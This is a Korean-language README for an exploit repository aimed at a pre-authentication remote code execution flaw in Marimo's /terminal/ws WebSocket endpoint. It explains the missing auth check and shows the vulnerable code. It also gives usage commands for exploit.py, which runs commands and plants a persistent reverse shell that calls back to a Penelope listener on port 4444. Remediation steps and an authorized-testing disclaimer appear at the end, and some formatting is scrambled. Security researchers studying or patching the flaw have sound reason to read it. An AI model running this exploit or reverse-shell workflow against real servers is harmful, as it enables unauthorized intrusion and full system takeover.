
0.23.0 이전 Marimo 익스플로잇. 웹소켓 엔드포인트(/terminal/ws)를 통한 Pre-Auth RCE 취약점.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Marimo(반응형 Python 노트북 서버)에서의 사전 인증 원격 코드 실행.
/terminal/ws에 대한 단일 인증되지 않은 WebSocket 연결만으로도 Marimo 프로세스를 실행 중인 사용자(Docker에서는 흔히 root) 권한의 완전한 대화형 PTY 셸을 획득할 수 있습니다.
실습실 / 승인된 테스트 전용(HTB, CTF, 서면 허가 범위 내의 업무).
Marimo는 다음 WebSocket 엔드포인트에서 통합 터미널을 노출합니다:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
다른 WebSocket 라우트(특히 노트북 UI용 /ws)는 validate_auth()를 올바르게 호출합니다.
/terminal/ws는 그렇지 않습니다. 다음만 확인합니다:
그런 다음 즉시:
await websocket.accept()
child_pid, fd = pty.fork() # 전체 시스템 셸
인스턴스에서 인증이 활성화된 경우에도 쿠키, 토큰, 비밀번호 또는 Authorization 헤더가 필요하지 않습니다.
영향: Marimo 프로세스의 권한으로 인증되지 않은 임의 명령 실행. 기본 컨테이너 이미지에서는 흔히 root 권한입니다.
파일(취약한 트리): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< validate_auth() / @requires("edit") 없음 >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... WebSocket <-> PTY 브리지 ...
인증을 강제하는 노트북 WebSocket(ws_endpoint.py)과 비교:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
공격자 Marimo (편집 모드)
| |
| WS 업그레이드 /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (인증 요구 없음) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| 지속적 리버스 셸 |
|----------------------------------->|
| <======== TCP 셸 ==========|
ws(s)://target/terminal/ws에 연결| 상태 | 버전 |
|---|---|
| 취약 | Marimo <= 0.20.4 (수정 전) |
| 수정됨 | Marimo 0.23.0 이상 |
외부 인증 게이트웨이 없이 터미널 WebSocket(편집 모드, PTY 지원)을 노출하는 모든 배포 환경이 영향 범위에 해당합니다.
| 파일 | 역할 |
|---|---|
exploit.py | PoC: 명령 실행 + 지속적 리버스 셸 + Penelope 실행기 |
penelope.py | 독립 실행형 셸 핸들러 (brightio/penelope) |
README.md | 이 파일 |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py는 추가 의존성이 필요 없습니다(Python 3.6+ 표준 라이브러리만 사용).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
동작 방식:
/terminal/ws를 통해 분리된 리버스 셸을 전달0.0.0.0:4444에서 Penelope를 execpython3 exploit.py -h
Penelope는 독립 실행형 스크립트(penelope.py)로 번들되어 있습니다:
기본 흐름(-p):
exploit.py
├── 자식 fork ──지연──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP 콜백
└── 피해자
자식 프로세스를 사용하는 이유: os.execv(penelope)가 부모 프로세스 이미지를 대체하므로 백그라운드 스레드가 종료됩니다.
수동 Penelope 사용:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # 활성 리스너용 샘플 페이로드 표시
pip install -U marimo).env, SSH 키)을 교체하고, 외부 연결 및 지속성(persistence) 흔적을 감사이 프로젝트는 승인된 보안 테스트, 교육 및 방어 연구 목적으로만 제공됩니다.
해당 법률과 실습실 또는 고객사의 업무 수행 규정을 준수할 책임은 사용자 본인에게 있습니다.